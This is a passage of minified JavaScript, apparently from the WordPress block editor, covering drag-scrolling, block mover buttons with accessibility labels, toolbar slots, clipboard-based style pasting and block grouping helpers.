Hq=l(Fe(),1),Ta=l(R(),1),dE=50,Gq=25,aCe=1e3,Uq=aCe*(Gq/1e3);function Wq(){let e=(0,Ta.useRef)(null),t=(0,Ta.useRef)(null),o=(0,Ta.useRef)(null),r=(0,Ta.useRef)(null);(0,Ta.useEffect)(()=&gt;()=&gt;{r.current&amp;&amp;(clearInterval(r.current),r.current=null)},[]);let n=(0,Ta.useCallback)(a=&gt;{e.current=a.clientY,o.current=(0,Hq.getScrollContainer)(a.target),r.current=setInterval(()=&gt;{if(o.current&amp;&amp;t.current){let c=o.current.scrollTop+t.current;o.current.scroll({top:c})}},Gq)},[]),i=(0,Ta.useCallback)(a=&gt;{if(!o.current)return;let c=o.current.offsetHeight,u=e.current-o.current.offsetTop,d=a.clientY-o.current.offsetTop;if(a.clientY&gt;u){let f=Math.max(c-u-dE,0),m=Math.max(d-u-dE,0),h=f===0||m===0?0:m/f;t.current=Uq*h}else if(a.clientY&lt;u){let f=Math.max(u-dE,0),m=Math.max(u-d-dE,0),h=f===0||m===0?0:m/f;t.current=-Uq*h}else t.current=0},[]);return[n,i,()=&gt;{e.current=null,o.current=null,r.current&amp;&amp;(clearInterval(r.current),r.current=null)}]}var dV=l(w(),1),lCe=({appendToOwnerDocument:e,children:t,clientIds:o,cloneClassname:r,elementId:n,onDragStart:i,onDragEnd:s,fadeWhenDisabled:a=!1,dragComponent:c})=&gt;{let{srcRootClientId:u,isDraggable:d,icon:f,visibleInserter:m,getBlockType:h}=(0,dS.useSelect)(E=&gt;{let{canMoveBlocks:L,getBlockRootClientId:T,getBlockName:O,getBlockAttributes:D,isBlockInsertionPointVisible:U}=E(_),{getBlockType:G,getActiveBlockVariation:j}=E($q.store),z=T(o[0]),W=O(o[0]),ee=j(W,D(o[0]));return{srcRootClientId:z,isDraggable:L(o),icon:ee?.icon||G(W)?.icon,visibleInserter:U(),getBlockType:G}},[o]),p=(0,fS.useRef)(!1),[g,b,v]=Wq(),{getAllowedBlocks:k,getBlockNamesByClientId:y,getBlockRootClientId:S}=(0,dS.useSelect)(_),{startDraggingBlocks:x,stopDraggingBlocks:C}=(0,dS.useDispatch)(_);(0,fS.useEffect)(()=&gt;()=&gt;{p.current&amp;&amp;C()},[]);let I=Xe(o[0])?.closest(&quot;body&quot;);return(0,fS.useEffect)(()=&gt;{if(!I||!a)return;let L=(0,Yq.throttle)(T=&gt;{if(!T.target.closest(&quot;[data-block]&quot;))return;let O=y(o),D=T.target.closest(&quot;[data-block]&quot;).getAttribute(&quot;data-block&quot;),U=k(D),G=y([D])[0],j;if(U?.length===0){let z=S(D),W=y([z])[0],ee=k(z);j=KB(h,ee,O,W)}else j=KB(h,U,O,G);!j&amp;&amp;!m?window?.document?.body?.classList?.add(&quot;block-draggable-invalid-drag-token&quot;):window?.document?.body?.classList?.remove(&quot;block-draggable-invalid-drag-token&quot;)},200);return I.addEventListener(&quot;dragover&quot;,L),()=&gt;{I.removeEventListener(&quot;dragover&quot;,L)}},[o,I,a,k,y,S,h,m]),d?(0,dV.jsx)(Kq.Draggable,{appendToOwnerDocument:e,cloneClassname:r,__experimentalTransferDataType:&quot;wp-blocks&quot;,transferData:{type:&quot;block&quot;,srcClientIds:o,srcRootClientId:u},onDragStart:E=&gt;{window.requestAnimationFrame(()=&gt;{x(o),p.current=!0,g(E),i&amp;&amp;i()})},onDragOver:b,onDragEnd:()=&gt;{C(),p.current=!1,v(),s&amp;&amp;s()},__experimentalDragComponent:c!==void 0?c:(0,dV.jsx)(eB,{count:o.length,icon:f,fadeWhenDisabled:!0}),elementId:n,children:({onDraggableStart:E,onDraggableEnd:L})=&gt;t({draggable:!0,onDragStart:E,onDragEnd:L})}):t({draggable:!1})},fE=lCe;var Zq=l($(),1),mE=l(A(),1),Xq=l(Z(),1),pE=l(F(),1),hE=l(R(),1),$i=l(N(),1);var ke=l(N(),1),id=(e,t)=&gt;e===&quot;up&quot;?t===&quot;horizontal&quot;?(0,ke.isRTL)()?&quot;right&quot;:&quot;left&quot;:&quot;up&quot;:e===&quot;down&quot;?t===&quot;horizontal&quot;?(0,ke.isRTL)()?&quot;left&quot;:&quot;right&quot;:&quot;down&quot;:null;function qq(e,t,o,r,n,i,s){let a=o+1;if(e&gt;1)return cCe(e,o,r,n,i,s);if(r&amp;&amp;n)return(0,ke.sprintf)((0,ke.__)(&quot;Block %s is the only block, and cannot be moved&quot;),t);if(i&gt;0&amp;&amp;!n){let c=id(&quot;down&quot;,s);if(c===&quot;down&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Move %1$s block from position %2$d down to position %3$d&quot;),t,a,a+1);if(c===&quot;left&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Move %1$s block from position %2$d left to position %3$d&quot;),t,a,a+1);if(c===&quot;right&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Move %1$s block from position %2$d right to position %3$d&quot;),t,a,a+1)}if(i&gt;0&amp;&amp;n){let c=id(&quot;down&quot;,s);if(c===&quot;down&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Block %1$s is at the end of the content and can\u2019t be moved down&quot;),t);if(c===&quot;left&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Block %1$s is at the end of the content and can\u2019t be moved left&quot;),t);if(c===&quot;right&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Block %1$s is at the end of the content and can\u2019t be moved right&quot;),t)}if(i&lt;0&amp;&amp;!r){let c=id(&quot;up&quot;,s);if(c===&quot;up&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Move %1$s block from position %2$d up to position %3$d&quot;),t,a,a-1);if(c===&quot;left&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Move %1$s block from position %2$d left to position %3$d&quot;),t,a,a-1);if(c===&quot;right&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Move %1$s block from position %2$d right to position %3$d&quot;),t,a,a-1)}if(i&lt;0&amp;&amp;r){let c=id(&quot;up&quot;,s);if(c===&quot;up&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Block %1$s is at the beginning of the content and can\u2019t be moved up&quot;),t);if(c===&quot;left&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Block %1$s is at the beginning of the content and can\u2019t be moved left&quot;),t);if(c===&quot;right&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Block %1$s is at the beginning of the content and can\u2019t be moved right&quot;),t)}}function cCe(e,t,o,r,n,i){let s=t+1;if(o&amp;&amp;r)return(0,ke.__)(&quot;All blocks are selected, and cannot be moved&quot;);if(n&gt;0&amp;&amp;!r){let a=id(&quot;down&quot;,i);if(a===&quot;down&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Move %1$d blocks from position %2$d down by one place&quot;),e,s);if(a===&quot;left&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Move %1$d blocks from position %2$d left by one place&quot;),e,s);if(a===&quot;right&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Move %1$d blocks from position %2$d right by one place&quot;),e,s)}if(n&gt;0&amp;&amp;r){let a=id(&quot;down&quot;,i);if(a===&quot;down&quot;)return(0,ke.__)(&quot;Blocks cannot be moved down as they are already at the bottom&quot;);if(a===&quot;left&quot;)return(0,ke.__)(&quot;Blocks cannot be moved left as they are already are at the leftmost position&quot;);if(a===&quot;right&quot;)return(0,ke.__)(&quot;Blocks cannot be moved right as they are already are at the rightmost position&quot;)}if(n&lt;0&amp;&amp;!o){let a=id(&quot;up&quot;,i);if(a===&quot;up&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Move %1$d blocks from position %2$d up by one place&quot;),e,s);if(a===&quot;left&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Move %1$d blocks from position %2$d left by one place&quot;),e,s);if(a===&quot;right&quot;)return(0,ke.sprintf)((0,ke.__)(&quot;Move %1$d blocks from position %2$d right by one place&quot;),e,s)}if(n&lt;0&amp;&amp;o){let a=id(&quot;up&quot;,i);if(a===&quot;up&quot;)return(0,ke.__)(&quot;Blocks cannot be moved up as they are already at the top&quot;);if(a===&quot;left&quot;)return(0,ke.__)(&quot;Blocks cannot be moved left as they are already are at the leftmost position&quot;);if(a===&quot;right&quot;)return(0,ke.__)(&quot;Blocks cannot be moved right as they are already are at the rightmost position&quot;)}}var ql=l(w(),1),uCe=(e,t)=&gt;e===&quot;up&quot;?t===&quot;horizontal&quot;?(0,$i.isRTL)()?Vo:Mr:xf:e===&quot;down&quot;?t===&quot;horizontal&quot;?(0,$i.isRTL)()?Mr:Vo:zn:null,dCe=(e,t)=&gt;e===&quot;up&quot;?t===&quot;horizontal&quot;?(0,$i.isRTL)()?(0,$i.__)(&quot;Move right&quot;):(0,$i.__)(&quot;Move left&quot;):(0,$i.__)(&quot;Move up&quot;):e===&quot;down&quot;?t===&quot;horizontal&quot;?(0,$i.isRTL)()?(0,$i.__)(&quot;Move left&quot;):(0,$i.__)(&quot;Move right&quot;):(0,$i.__)(&quot;Move down&quot;):null,fV=(0,hE.forwardRef)(({clientIds:e,direction:t,orientation:o,...r},n)=&gt;{let i=(0,Xq.useInstanceId)(fV),s=Array.isArray(e)?e:[e],a=s.length,{disabled:c}=r,{blockType:u,isDisabled:d,rootClientId:f,isFirst:m,isLast:h,firstIndex:p,orientation:g=&quot;vertical&quot;}=(0,pE.useSelect)(x=&gt;{let{getBlockIndex:C,getBlockRootClientId:B,getBlockOrder:I,getBlock:P,getBlockListSettings:E}=x(_),L=s[0],T=B(L),O=C(L),D=C(s[s.length-1]),U=I(T),G=P(L),j=O===0,z=D===U.length-1,{orientation:W}=E(T)||{};return{blockType:G?(0,Zq.getBlockType)(G.name):null,isDisabled:c||(t===&quot;up&quot;?j:z),rootClientId:T,firstIndex:O,isFirst:j,isLast:z,orientation:o||W}},[e,t]),{moveBlocksDown:b,moveBlocksUp:v}=(0,pE.useDispatch)(_),k=t===&quot;up&quot;?v:b,y=x=&gt;{k(e,f),r.onClick&amp;&amp;r.onClick(x)},S=`block-editor-block-mover-button__description-${i}`;return(0,ql.jsxs)(ql.Fragment,{children:[(0,ql.jsx)(mE.Button,{__next40pxDefaultSize:!0,ref:n,className:V(&quot;block-editor-block-mover-button&quot;,`is-${t}-button`),icon:uCe(t,g),label:dCe(t,g),&quot;aria-describedby&quot;:S,...r,onClick:d?null:y,disabled:d,accessibleWhenDisabled:!0}),(0,ql.jsx)(mE.VisuallyHidden,{id:S,children:qq(a,u&amp;&amp;u.title,p,m,h,t===&quot;up&quot;?-1:1,g)})]})}),gE=(0,hE.forwardRef)((e,t)=&gt;(0,ql.jsx)(fV,{direction:&quot;up&quot;,ref:t,...e})),bE=(0,hE.forwardRef)((e,t)=&gt;(0,ql.jsx)(fV,{direction:&quot;down&quot;,ref:t,...e}));var Ia=l(w(),1);function fCe({clientIds:e,hideDragHandle:t,isBlockMoverUpButtonDisabled:o,isBlockMoverDownButtonDisabled:r}){let{canMove:n,rootClientId:i,isFirst:s,isLast:a,orientation:c,isManualGrid:u}=(0,Qq.useSelect)(d=&gt;{let{getBlockIndex:f,getBlockListSettings:m,canMoveBlocks:h,getBlockOrder:p,getBlockRootClientId:g,getBlockAttributes:b}=d(_),v=Array.isArray(e)?e:[e],k=v[0],y=g(k),S=f(k),x=f(v[v.length-1]),C=p(y),{layout:B={}}=b(y)??{};return{canMove:h(e),rootClientId:y,isFirst:S===0,isLast:x===C.length-1,orientation:m(y)?.orientation,isManualGrid:B.type===&quot;grid&quot;&amp;&amp;B.isManualPlacement&amp;&amp;window.__experimentalEnableGridInteractivity}},[e]);return!n||s&amp;&amp;a&amp;&amp;!i||t&amp;&amp;u?null:(0,Ia.jsxs)(xm.ToolbarGroup,{className:V(&quot;block-editor-block-mover&quot;,{&quot;is-horizontal&quot;:c===&quot;horizontal&quot;}),children:[!t&amp;&amp;(0,Ia.jsx)(fE,{clientIds:e,fadeWhenDisabled:!0,children:d=&gt;(0,Ia.jsx)(xm.Button,{__next40pxDefaultSize:!0,icon:tv,className:&quot;block-editor-block-mover__drag-handle&quot;,label:(0,Jq.__)(&quot;Drag&quot;),tabIndex:&quot;-1&quot;,...d})}),!u&amp;&amp;(0,Ia.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-mover__move-button-container&quot;,children:[(0,Ia.jsx)(xm.ToolbarItem,{children:d=&gt;(0,Ia.jsx)(gE,{disabled:o,clientIds:e,...d})}),(0,Ia.jsx)(xm.ToolbarItem,{children:d=&gt;(0,Ia.jsx)(bE,{disabled:r,clientIds:e,...d})})]})]})}var kE=fCe;var oZ=l(A(),1),yE=l(F(),1),SE=l(N(),1),rZ=l(R(),1);var mS=l(F(),1),sd=l(R(),1);var{clearTimeout:eZ,setTimeout:mCe}=window,tZ=200;function pCe({ref:e,isFocused:t,highlightParent:o,debounceTimeout:r=tZ}){let{getSelectedBlockClientId:n,getBlockRootClientId:i}=(0,mS.useSelect)(_),{toggleBlockHighlight:s}=(0,mS.useDispatch)(_),a=(0,sd.useRef)(),c=(0,mS.useSelect)(g=&gt;g(_).getSettings().isDistractionFree,[]),u=g=&gt;{if(g&amp;&amp;c)return;let b=n(),v=o?i(b):b;s(v,g)},d=()=&gt;e?.current&amp;&amp;e.current.matches(&quot;:hover&quot;),f=()=&gt;{let g=d();return!t&amp;&amp;!g},m=()=&gt;{let g=a.current;g&amp;&amp;eZ&amp;&amp;eZ(g)},h=g=&gt;{g&amp;&amp;g.stopPropagation(),m(),u(!0)},p=g=&gt;{g&amp;&amp;g.stopPropagation(),m(),a.current=mCe(()=&gt;{f()&amp;&amp;u(!1)},r)};return(0,sd.useEffect)(()=&gt;()=&gt;{u(!1),m()},[]),{debouncedShowGestures:h,debouncedHideGestures:p}}function kg({ref:e,highlightParent:t=!1,debounceTimeout:o=tZ}){let[r,n]=(0,sd.useState)(!1),{debouncedShowGestures:i,debouncedHideGestures:s}=pCe({ref:e,debounceTimeout:o,isFocused:r,highlightParent:t}),a=(0,sd.useRef)(!1),c=()=&gt;e?.current&amp;&amp;e.current.contains(e.current.ownerDocument.activeElement);return(0,sd.useEffect)(()=&gt;{let u=e.current,d=()=&gt;{c()&amp;&amp;(n(!0),i())},f=()=&gt;{c()||(n(!1),s())};return u&amp;&amp;!a.current&amp;&amp;(u.addEventListener(&quot;focus&quot;,d,!0),u.addEventListener(&quot;blur&quot;,f,!0),a.current=!0),()=&gt;{u&amp;&amp;(u.removeEventListener(&quot;focus&quot;,d),u.removeEventListener(&quot;blur&quot;,f))}},[e,a,n,i,s]),{onMouseMove:i,onMouseLeave:s}}var vE=l(w(),1);function nZ(){let{selectBlock:e}=(0,yE.useDispatch)(_),{parentClientId:t}=(0,yE.useSelect)(i=&gt;{let{getBlockParents:s,getSelectedBlockClientId:a,getParentSectionBlock:c}=M(i(_)),u=a(),d=c(u),f=s(u);return{parentClientId:d??f[f.length-1]}},[]),o=Tt(t),r=(0,rZ.useRef)(),n=kg({ref:r,highlightParent:!0});return(0,vE.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-parent-selector&quot;,ref:r,...n,children:(0,vE.jsx)(oZ.ToolbarButton,{className:&quot;block-editor-block-parent-selector__button&quot;,onClick:()=&gt;e(t),label:(0,SE.sprintf)((0,SE.__)(&quot;Select parent block: %s&quot;),o?.title),showTooltip:!0,icon:(0,vE.jsx)(Ae,{icon:o?.icon})})},t)}var _E=l(A(),1);var vg=l(A(),1),hCe=(0,vg.createSlotFill)(&quot;BlockControls&quot;),gCe=(0,vg.createSlotFill)(&quot;BlockControlsBlock&quot;),bCe=(0,vg.createSlotFill)(&quot;BlockFormatControls&quot;),kCe=(0,vg.createSlotFill)(&quot;BlockControlsOther&quot;),vCe=(0,vg.createSlotFill)(&quot;BlockControlsParent&quot;),yCe={default:hCe,block:gCe,inline:bCe,other:kCe,parent:vCe},pS=yCe;function iZ(e,t){let o=Ie();return o[bs]?pS[e]?.Fill:o[Pp]&amp;&amp;t?pS.parent.Fill:null}var Zl=l(w(),1);function mV({group:e=&quot;default&quot;,controls:t,children:o,__experimentalShareWithChildBlocks:r=!1}){let n=iZ(e,r);if(!n)return null;let i=(0,Zl.jsxs)(Zl.Fragment,{children:[e===&quot;default&quot;&amp;&amp;(0,Zl.jsx)(_E.ToolbarGroup,{controls:t}),o]});return(0,Zl.jsx)(_E.__experimentalStyleProvider,{document,children:(0,Zl.jsx)(n,{children:s=&gt;{let{forwardedContext:a=[]}=s;return a.reduce((c,[u,d])=&gt;(0,Zl.jsx)(u,{...d,children:c}),i)}})})}var hS=l(R(),1),Xl=l(A(),1),aZ=l(Qv(),1);var pV=l(w(),1),{ComponentsContext:sZ}=M(Xl.privateApis);function hV({group:e=&quot;default&quot;,...t}){let o=(0,hS.useContext)(Xl.__experimentalToolbarContext),r=(0,hS.useContext)(sZ),n=(0,hS.useMemo)(()=&gt;({forwardedContext:[[Xl.__experimentalToolbarContext.Provider,{value:o}],[sZ.Provider,{value:r}]]}),[o,r]),i=pS[e],s=(0,Xl.__experimentalUseSlotFills)(i.name);if(!i)return(0,aZ.default)(`Unknown BlockControls group &quot;${e}&quot; provided.`),null;if(!s?.length)return null;let{Slot:a}=i,c=(0,pV.jsx)(a,{...t,bubblesVirtually:!0,fillProps:n});return e===&quot;default&quot;?c:(0,pV.jsx)(Xl.ToolbarGroup,{children:c})}var gV=l(w(),1),lZ=mV;lZ.Slot=hV;var bV=e=&gt;(0,gV.jsx)(mV,{group:&quot;inline&quot;,...e});bV.Slot=function(t){return(0,gV.jsx)(hV,{group:&quot;inline&quot;,...t})};var Mt=lZ;var cZ=l(A(),1),{Fill:uZ,Slot:SCe}=(0,cZ.createSlotFill)(&quot;__unstableBlockToolbarLastItem&quot;);uZ.Slot=SCe;var xE=uZ;var HE=l(A(),1);var wg=l($(),1),ti=l(A(),1),Om=l(F(),1);var jE=l(R(),1),Pa=l(N(),1),fX=l(Is(),1),Rm=l(Z(),1);var Sg=l(F(),1),ad=l($(),1);var EZ=l(R(),1),bS=l($(),1),gS=l(F(),1),TZ=l(Un(),1),Ql=l(N(),1);var Jn=l($(),1),dZ=l(R(),1),_Ce=&quot;align&quot;;var fZ=&quot;__experimentalBorder&quot;,wE=&quot;color&quot;,xCe=&quot;customClassName&quot;,mZ=&quot;typography.__experimentalFontFamily&quot;,pZ=&quot;typography.fontSize&quot;,wCe=&quot;typography.lineHeight&quot;,CCe=&quot;typography.__experimentalFontStyle&quot;,BCe=&quot;typography.__experimentalFontWeight&quot;,hZ=&quot;typography.textAlign&quot;,ECe=&quot;typography.textColumns&quot;,TCe=&quot;typography.__experimentalTextDecoration&quot;,ICe=&quot;typography.__experimentalWritingMode&quot;,PCe=&quot;typography.__experimentalTextTransform&quot;,RCe=&quot;typography.__experimentalLetterSpacing&quot;,OCe=&quot;layout&quot;,ACe=[wCe,pZ,CCe,BCe,mZ,hZ,ECe,TCe,PCe,ICe,RCe],LCe=[&quot;shadow&quot;],NCe=&quot;spacing&quot;,MCe=[...LCe,...ACe,fZ,wE,NCe],gZ=e=&gt;(0,Jn.hasBlockSupport)(e,_Ce);function bZ(e,t=&quot;any&quot;){if(dZ.Platform.OS!==&quot;web&quot;)return!1;let o=(0,Jn.getBlockSupport)(e,fZ);return o===!0?!0:t===&quot;any&quot;?!!(o?.color||o?.radius||o?.width||o?.style):!!o?.[t]}var kZ=e=&gt;{let t=(0,Jn.getBlockSupport)(e,wE);return t!==null&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;!!t.gradients},vZ=e=&gt;{let t=(0,Jn.getBlockSupport)(e,wE);return t&amp;&amp;t.background!==!1},yZ=e=&gt;(0,Jn.hasBlockSupport)(e,hZ);var SZ=e=&gt;{let t=(0,Jn.getBlockSupport)(e,wE);return t&amp;&amp;t.text!==!1};var _Z=e=&gt;(0,Jn.hasBlockSupport)(e,xCe,!0);var xZ=e=&gt;(0,Jn.hasBlockSupport)(e,mZ);var wZ=e=&gt;(0,Jn.hasBlockSupport)(e,pZ);var CZ=e=&gt;(0,Jn.hasBlockSupport)(e,OCe);var BZ=e=&gt;MCe.some(t=&gt;(0,Jn.hasBlockSupport)(e,t));function DCe(e){try{let t=(0,bS.parse)(e,{__unstableSkipMigrationLogs:!0,__unstableSkipAutop:!0});return!(t.length===1&amp;&amp;t[0].name===&quot;core/freeform&quot;)}catch{return!1}}var VCe={align:gZ,borderColor:e=&gt;bZ(e,&quot;color&quot;),backgroundColor:vZ,textAlign:yZ,textColor:SZ,gradient:kZ,className:_Z,fontFamily:xZ,fontSize:wZ,layout:CZ,style:BZ};function FCe(e,t){return Object.entries(VCe).reduce((o,[r,n])=&gt;(n(e.name)&amp;&amp;n(t.name)&amp;&amp;(o[r]=e.attributes[r]),o),{})}function kV(e,t,o){for(let r=0;r&lt;Math.min(t.length,e.length);r+=1)o(e[r].clientId,FCe(t[r],e[r])),kV(e[r].innerBlocks,t[r].innerBlocks,o)}function yg(){let e=(0,gS.useRegistry)(),{updateBlockAttributes:t}=(0,gS.useDispatch)(_),{createSuccessNotice:o,createWarningNotice:r,createErrorNotice:n}=(0,gS.useDispatch)(TZ.store);return(0,EZ.useCallback)(async i=&gt;{let s=&quot;&quot;;try{if(!window.navigator.clipboard){n((0,Ql.__)(&quot;Unable to paste styles. This feature is only available on secure (https) sites in supporting browsers.&quot;),{type:&quot;snackbar&quot;});return}s=await window.navigator.clipboard.readText()}catch{n((0,Ql.__)(&quot;Unable to paste styles. Please allow browser clipboard permissions before continuing.&quot;),{type:&quot;snackbar&quot;});return}if(!s||!DCe(s)){r((0,Ql.__)(&quot;Unable to paste styles. Block styles couldn&#039;t be found within the copied content.&quot;),{type:&quot;snackbar&quot;});return}let a=(0,bS.parse)(s);if(a.length===1?e.batch(()=&gt;{kV(i,i.map(()=&gt;a[0]),t)}):e.batch(()=&gt;{kV(i,a,t)}),i.length===1){let c=(0,bS.getBlockType)(i[0].name)?.title;o((0,Ql.sprintf)((0,Ql.__)(&quot;Pasted styles to %s.&quot;),c),{type:&quot;snackbar&quot;})}else o((0,Ql.sprintf)((0,Ql.__)(&quot;Pasted styles to %d blocks.&quot;),i.length),{type:&quot;snackbar&quot;})},[e.batch,t,o,r,n])}function IZ({clientIds:e,children:t,__experimentalUpdateSelection:o}){let{getDefaultBlockName:r,getGroupingBlockName:n}=(0,Sg.useSelect)(ad.store),i=(0,Sg.useSelect)(y=&gt;{let{canInsertBlockType:S,getBlockRootClientId:x,getBlocksByClientId:C,getDirectInsertBlock:B,canRemoveBlocks:I}=y(_),P=C(e),E=x(e[0]),L=S(r(),E),T=E?B(E):null;return{canRemove:I(e),canInsertBlock:P.every(O=&gt;(L||!!T)&amp;&amp;S(O.name,E)),canCopyStyles:P.every(O=&gt;!!O&amp;&amp;((0,ad.hasBlockSupport)(O.name,&quot;color&quot;)||(0,ad.hasBlockSupport)(O.name,&quot;typography&quot;))),canDuplicate:P.every(O=&gt;!!O&amp;&amp;(0,ad.hasBlockSupport)(O.name,&quot;multiple&quot;,!0)&amp;&amp;S(O.name,E))}},[e,r]),{getBlocksByClientId:s,getBlocks:a}=(0,Sg.useSelect)(_),{canRemove:c,canInsertBlock:u,canCopyStyles:d,canDuplicate:f}=i,{removeBlocks:m,replaceBlocks:h,duplicateBlocks:p,insertAfterBlock:g,insertBeforeBlock:b,flashBlock:v}=(0,Sg.useDispatch)(_),k=yg();return t({canCopyStyles:d,canDuplicate:f,canInsertBlock:u,canRemove:c,onDuplicate(){return p(e,o)},onRemove(){return m(e,o)},onInsertBefore(){b(e[0])},onInsertAfter(){g(e[e.length-1])},onGroup(){if(!e.length)return;let y=n(),S=(0,ad.switchToBlockType)(s(e),y);S&amp;&amp;h(e,S)},onUngroup(){if(!e.length)return;let y=a(e[0]);y.length&amp;&amp;h(e,y)},onCopy(){e.length===1&amp;&amp;v(e[0])},async onPasteStyles(){await k(s(e))}})}var PZ=l(A(),1),zCe=(0,PZ.createSlotFill)(Symbol(&quot;CommentIconSlotFill&quot;)),CE=zCe;var RZ=l(N(),1),OZ=l(A(),1),BE=l($(),1),EE=l(F(),1);var AZ=l(w(),1);function jCe({clientId:e}){let t=(0,EE.useSelect)(r=&gt;r(_).getBlock(e),[e]),{replaceBlocks:o}=(0,EE.useDispatch)(_);return!t||t.name!==&quot;core/html&quot;?null:(0,AZ.jsx)(OZ.MenuItem,{onClick:()=&gt;o(e,(0,BE.rawHandler)({HTML:(0,BE.getBlockContent)(t)})),children:(0,RZ.__)(&quot;Convert to Blocks&quot;)})}var LZ=jCe;var NZ=l(A(),1),{Fill:MZ,Slot:UCe}=(0,NZ.createSlotFill)(&quot;__unstableBlockSettingsMenuFirstItem&quot;);MZ.Slot=UCe;var TE=MZ;var xg=l(A(),1),nX=l($(),1),iX=l(F(),1);var yV=l(A(),1),SV=l(N(),1),FZ=l($(),1),RE=l(F(),1),zZ=l(it(),1);var DZ=l($(),1),VZ=l(F(),1);function kS(e){return(0,VZ.useSelect)(t=&gt;{let{getBlocksByClientId:o,getSelectedBlockClientIds:r,isUngroupable:n,isGroupable:i}=t(_),{getGroupingBlockName:s,getBlockType:a}=t(DZ.store),c=e?.length?e:r(),u=o(c),[d]=u,f=c.length===1&amp;&amp;n(c[0]);return{clientIds:c,isGroupable:i(c),isUngroupable:f,blocksSelection:u,groupingBlockName:s(),onUngroup:f&amp;&amp;a(d.name)?.transforms?.ungroup}},[e])}var IE=l(F(),1),PE=l($(),1),wm=l(A(),1);var vS=l(N(),1);var Cm=l(w(),1),HCe={group:{type:&quot;constrained&quot;},row:{type:&quot;flex&quot;,flexWrap:&quot;nowrap&quot;},stack:{type:&quot;flex&quot;,orientation:&quot;vertical&quot;},grid:{type:&quot;grid&quot;}};function GCe(){let{blocksSelection:e,clientIds:t,groupingBlockName:o,isGroupable:r}=kS(),{replaceBlocks:n}=(0,IE.useDispatch)(_),{canRemove:i,variations:s}=(0,IE.useSelect)(p=&gt;{let{canRemoveBlocks:g}=p(_),{getBlockVariations:b}=p(PE.store);return{canRemove:g(t),variations:b(o,&quot;transform&quot;)}},[t,o]),a=p=&gt;{let g=(0,PE.switchToBlockType)(e,o);typeof p!=&quot;string&quot;&amp;&amp;(p=&quot;group&quot;),g&amp;&amp;g.length&gt;0&amp;&amp;(g[0].attributes.layout=HCe[p],n(t,g))},c=()=&gt;a(&quot;row&quot;),u=()=&gt;a(&quot;stack&quot;),d=()=&gt;a(&quot;grid&quot;);if(!r||!i)return null;let f=!!s.find(({name:p})=&gt;p===&quot;group-row&quot;),m=!!s.find(({name:p})=&gt;p===&quot;group-stack&quot;),h=!!s.find(({name:p})=&gt;p===&quot;group-grid&quot;);return(0,Cm.jsxs)(wm.ToolbarGroup,{children:[(0,Cm.jsx)(wm.ToolbarButton,{icon:nv,label:(0,vS._x)(&quot;Group&quot;,&quot;action: convert blocks to group&quot;),onClick:a}),f&amp;&amp;(0,Cm.jsx)(wm.ToolbarButton,{icon:JL,label:(0,vS._x)(&quot;Row&quot;,&quot;action: convert blocks to row&quot;),onClick:c}),m&amp;&amp;(0,Cm.jsx)(wm.ToolbarButton,{icon:pN,label:(0,vS._x)(&quot;Stack&quot;,&quot;action: convert blocks to stack&quot;),onClick:u}),h&amp;&amp;(0,Cm.jsx)(wm.ToolbarButton,{icon:rv,label:(0,vS._x)(&quot;Grid&quot;,&quot;action: convert blocks to grid&quot;),onClick:d})]})}var vV=GCe;var Bm=l(w(),1);function jZ({clientIds:e,isGroupable:t,isUngroupable:o,onUngroup:r,blocksSelection:n,groupingBlockName:i,onClose:s=()=&gt;{}}){let{getSelectedBlockClientIds:a}=(0,RE.useSelect)(_),{replaceBlocks:c}=(0,RE.useDispatch)(_),u=()=&gt;{let m=(0,FZ.switchToBlockType)(n,i);m&amp;&amp;c(e,m)},d=()=&gt;{let m=n[0].innerBlocks;m.length&amp;&amp;(r&amp;&amp;(m=r(n[0].attributes,n[0].innerBlocks)),c(e,m))};if(!t&amp;&amp;!o)return null;let f=a();return(0,Bm.jsxs)(Bm.Fragment,{children:[t&amp;&amp;(0,Bm.jsx)(yV.MenuItem,{shortcut:f.length&gt;1?zZ.displayShortcut.primary(&quot;g&quot;):void 0,onClick:()=&gt;{u(),s()},children:(0,SV._x)(&quot;Group&quot;,&quot;verb&quot;)}),o&amp;&amp;(0,Bm.jsx)(yV.MenuItem,{onClick:()=&gt;{d(),s()},children:(0,SV._x)(&quot;Ungroup&quot;,&quot;Ungrouping blocks from within a grouping block back into individual blocks within the Editor&quot;)})]})}var _V=l(N(),1),GZ=l(R(),1),WZ=l(A(),1);var UZ=l(F(),1);function ei(e){return(0,UZ.useSelect)(t=&gt;{let{canLockBlockType:o,getBlockName:r,isEditLockedBlock:n,isMoveLockedBlock:i,isRemoveLockedBlock:s,isLockedBlock:a}=M(t(_));return{isEditLocked:n(e),isMoveLocked:i(e),isRemoveLocked:s(e),canLock:o(r(e)),isLocked:a(e)}},[e])}var Ki=l(N(),1),yS=l(R(),1),bo=l(A(),1);var OE=l(F(),1),HZ=l($(),1);var It=l(w(),1),WCe=[&quot;core/navigation&quot;];function $Ce(e){return e.remove&amp;&amp;e.move?&quot;all&quot;:e.remove&amp;&amp;!e.move?&quot;insert&quot;:!1}function 